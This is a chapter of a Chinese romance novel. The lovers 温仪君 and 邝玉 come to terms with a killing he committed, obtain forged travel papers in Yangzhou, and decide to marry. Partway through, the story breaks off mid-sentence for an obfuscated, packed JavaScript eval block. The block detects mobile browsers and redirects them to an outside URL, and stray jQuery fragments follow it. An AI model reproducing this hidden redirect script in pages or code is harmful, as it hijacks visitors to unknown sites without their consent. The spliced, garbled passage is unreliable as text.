温仪君整个人愣住,看向地上了无生息的王癞子,以及站在旁边神色慌张的邝玉,心里有了几分猜测。


    呼吸不稳,带着她说话都有些磕绊:“你,折返回来就是,为了杀他?”


    邝玉站在原地,像做错了事的稚童,怕被责骂,手足无措着,只想用四肢将自己的头埋藏起来。但很显然,无处可藏他这么大的身躯。


    温仪君骑在马上,只有呼吸声可闻,等了好一会儿,才听邝玉说:“我怕他这般惹是生非又与我们有怨的人,会泄漏我们行踪。”


    “那你为什么不直接告诉我呢?”


    “我怕你会不开心。”邝玉声音干涩,好像每说一个字都很艰难,“我知道你不喜欢杀人。此前在熊脊山上就是……”是指她瑟缩于他手上沾满的鲜血。


    “即使是王癞子惹了你,你也只想着教训和驱赶,而非伤他性命,但是我……”


    邝玉不知该如何说下去,声音停了下来,温仪君也许久未做声,他抬起头看去,女子脸颊上竟然有一条泪痕落下。


    邝玉急忙走至温仪君身前,语无伦次:“我再也不会了!你别生气,别哭了……对不起,都是我的错……”


    却听温仪君说:“你不用道歉。”


    邝玉心里一紧,不用道歉是什么意思?


    脱口而出:“你不要我了吗?”


    一下子袭来温热的体温。


    回应他的是温仪君的拥抱。


    温仪君下马来,抱住了他,哽咽着嗔骂:“我就这么不值得你信任吗?”


    邝玉再次僵在原地,双手半举在空中无处安放,大睁着眼睛,面上一片迷茫。


    又听她继续道:“你就这么笃定,我不会同意你的想法吗?”


    “从我决定和你在一起的那一刻起,我就接受你的全部了。不管过去你是锄强扶弱的大侠,还是杀人如麻的杀手,不管你是金枝玉叶的士族,还是一无所有的走卒。”


    “王癞子一事,我这么多年受儒学圣经的熏染,让我自然而然首先想到的是驱逐,但从万全之策的方向考虑,并不代表你的选择就是错的,毕竟在这个吃人的世界,我们首先要做的是保护自己。”


    “只要你说,我就会听你的声音,然后一起讨论,一起商量,得到一个大家都觉得满意的结果,这样不是更好吗?”温仪君将她的手与邝玉十指相扣,“或许,我们还可以想出更好的办法呢?”


    又看向王癞子的尸体,“你只记得我对血的畏惧,但是你却忘了,毛大当家也是我亲手杀死的。我不是那种迂腐又弱小,需要你为我营造一个没有杀戮假象的世界的人。


    “但是,我也希望你可以和我一起抱有对生命的敬畏,杀人,都是我们商量后不得不选的最后一条路。好吗?”


    邝玉喉咙被哽咽住,说不出话来,只双手回抱着温仪君,用力将她压入自己怀里,好久才听到他沙哑着声音:“好。”


    “是我狭隘了……”


    *


    与被称为第二帝都、充满庄重政治气息的洛阳不同,扬州的街巷与水道交至,四处可见水码头与乌篷船,河岸杨柳相依,此时正是酒余茶后时分,树下黄发垂髫皆怡然自乐,好一份闲情趣意。


    耳畔是江南水乡的吴侬软语,眼前是市井气息浓厚的戏楼茶馆,温仪君眼中全是看到新奇玩意儿的兴奋,一边牵着邝玉的手,一边四处转头张望,“原来扬州是这样的!”


    邝玉一手牵着温仪君,一手牵着马,只淡淡地“嗯”了一声,头却一直微偏着看向身旁的温仪君,眼中带着浅浅的笑意。


    穿过市集主道来到一略显冷清的街巷,这一片地带多是住户,邝玉领着她来到一处门前开了门。


    走进去便是一个宽敞的主院,院中栽着些花草矮木,明显是久未打理,已经长势野蛮,枝丫胡乱的伸展着。大门紧闭的主屋看着还算宽阔,一旁还有个侧院,寝居、疱屋、杂物间等就在这一片。


    虽与温家这种士族的庭院相比还是差远了,但相比尼寺他们待的那个院落还是大得多。虽然装裹得简单,但也胜过不少平民人家。


    温仪君有些意外:“这院子倒比我想象中大。”


    “我还是攒了点银钱,常逗留的地儿都或大或小置了屋子,这处是最大的……想着,总不能委屈了你。”


    温仪君噗嗤一笑,扬扬眉:“小一点的屋子又何妨?我还不至于这点苦都吃不得。”


    围着院子,仔细地打量了环境,温仪君心中有了计较:“这屋子你怕是许久没回来住过,四处都布满了灰尘,若仅是我们两个不知得忙活多久,待会儿去找牙人雇个麻利的丫头回来一起收拾好了。日后我们去别处了,家里也能留个人打理着。”


    我们的家。


    这个词在脑海中一闪而过,邝玉总感觉心口酥酥麻麻的,应声道:“那我先把客房收拾一下,你在屋中歇着,我出去办点事,顺便找一下集市上有没有人牙子,雇个丫鬟回来。”


    “你要出去办什么事?”温仪君走过去牵住邝玉的手,“不如我们一起?”


    邝玉略一思忖,还是点了点头。


    将马留在院子里,二人携手出门,一路走了挺远,温仪君也当是散步,顺便看看扬州风光。左转右转跟着邝玉拐进一个偏僻的小巷,泛着一股久无人居的潮湿气,墙上四处都附着青苔,其中嵌了一道有些歪歪扭扭的破烂木门。


    邝玉走过去有规律地敲门,半晌,一个身着粗布麻衣,二十来岁的年轻男子懒洋洋地开了门出来。


    “什么事啊?”


    邝玉从衣襟内侧拿出一块蛇形铜块递给那男子,也不说话,男子拿着仔细瞧了瞧,又打量邝玉几眼,道:“进来吧。”


    邝玉叮嘱一旁的温仪君:“那你在这儿等我,我很快就回来。”


    温仪君点头应下,邝玉与男子便消失在门口,不一会从屋中出来时,邝玉手中已经拿了两份卷轴。随着男子关上木门的“嘎吱”声响,邝玉快步走到温仪君身前,像是一会儿的分离都难舍。


    温仪君好奇:“你这是拿了什么?”


    邝玉将东西递过来,温仪君展开一看,上面细细地写了姓名、籍贯、体貌特征等,角落还印了公章,不由惊呼:“身份文书和过所?”


    邝玉点了点头:“如今你假死逃生,当另外寻一份可以过关的身份证明,总不好次次带着你翻墙。”又冲着那小破木门扬了扬头,“他们这里可以办假的文书,其仿真程度,除非到县里档案部留存核实,寻常门吏肉眼是无法辨别的。”


    又解释:“他们在多处有店,像我们这些混迹江湖身份不便见人的,就会来找这种地儿做个方便的身份。一些消息也可以找他们打听,只要有银子便好办事。”


    “我现在用的身份文书也是这儿来的。”


    温仪君面上满是惊奇,原来这民间草莽中,还有这么多门门道道,这处“万事通”藏在这不起眼的地儿,倒颇有几分真人不露相的意味了。双手捧着文书凑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411681|167400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    近了眼前,惊叹:“这确实做得跟真的一样。”


    说完,又含嗔地瞪了邝玉一眼,“我本来还在思虑着文书的问题,原来你心中早有解决之法。”


    “是我该早些与你说。”邝玉眉眼温顺地搭耸下来,倒把温仪君给逗笑了。


    腾出手来贴过去牵着邝玉,“身份文书解决了,那我们去集市瞧瞧。”


    走出小巷,看着一旁总是将目光凝在她身上的邝玉,又笑道:“别看我了,好生寻个路,该是你这个东道主带路的时候了。”


    邝玉失笑:“好,我带路。”不动声色地回握住温仪君的手,手指不安分地摸索,直至互相交错变成十指相扣模样,才慢慢前行。


    身旁伴着的是所爱之人,拿着的是解决后患的身份文书,前往的是热闹的集市,还有一个麻雀虽小但五脏俱全的惬意院落在等待她归去。


    春末的阳光已经有几分灼目,把整片街道都染成金黄,一切都是那么灿烂得闪闪发光。


    身侧的人也是。


    温仪君像被璀璨前路迷乱了双眼,有的话没有经过思考就脱口而出:“邝玉,我们成婚吧!”


    话出口才反应过来自己说了什么,面上有些窘迫。


    自己一个女儿家主动提这个,会不会显得太不矜持了?


    感受到身边人步伐一下子僵住,却迅速有一道声音轻声却肯定地回应:“好。”


    温仪君诧异地看过去,把邝玉盯得耳尖发红,“你这闷嘴葫芦这次怎么答得这么快,我还以为你要扭捏半天呢。”


    却见邝玉转过身来面对她,认真地看向她,整个眸子中只印得出她的身形,“那天,在温宅门口,看到你穿着嫁衣的样子,我就在想,要是和你成亲的人要是我该多好。”


    “我不知道你是怎么想的,所以不敢和你提及,但是这个声音已经在我心里徘徊很久,却没想到被你抢先了,我自然没得犹豫。”


    是补足那句被抢先了的话:“温仪君,我想要娶你。”


    与邝玉尚还紧牵的手明显能感觉到他肢体的僵硬,眼神却不躲闪,眉骨的阴影衬托得黑沉沉的眼眸格外闪亮而真挚。


    明明邝玉的嘴唇偏薄,也不是水润粉嫩的颜色,却让温仪君有种想要亲上去的冲动。


    而她也确实这么做了。


    虽然这还在街上,周围还零星有几个来往的路人,但如今的她她连翻城墙、当众逃婚这么大逆不道的事都做了,哪儿会怕这点小事。


    触感是冰冰凉凉的,就像邝玉的人一样冷涩。


    但是一旦真的触碰上,才发现原来他早已丢盔弃甲,只剩一片柔软。


    蜻蜓点水般一触即离,趁邝玉还没反应过来,温仪君已经无事发生似的挽着邝玉的胳膊,“走了,不是说去雇个丫鬟,还有,成婚的话总该布置一下宅子吧。虽然没什么能邀请的人,但该有的还是得备着。”


    邝玉手摸了摸唇,后知后觉地嘴角翘起,脸上泛起格格不入的傻笑,眼里闪着光,应声“好”。


    “你说我们把婚期定在哪一天呢?”


    “可以回家一起查查黄历。”


    “这次的婚服我可要自己挑,你说是纯色的青质连裳好还是再搭件红色披帛呢?”


    “你穿都看好。”


    “这话说得可真敷衍,罚你待会儿多拎东西……”


    地上的影子逐渐被拉长,淹没在街巷中,只剩下女子叽叽喳喳的声音和身旁男子不厌其烦的应和在风中缠绵。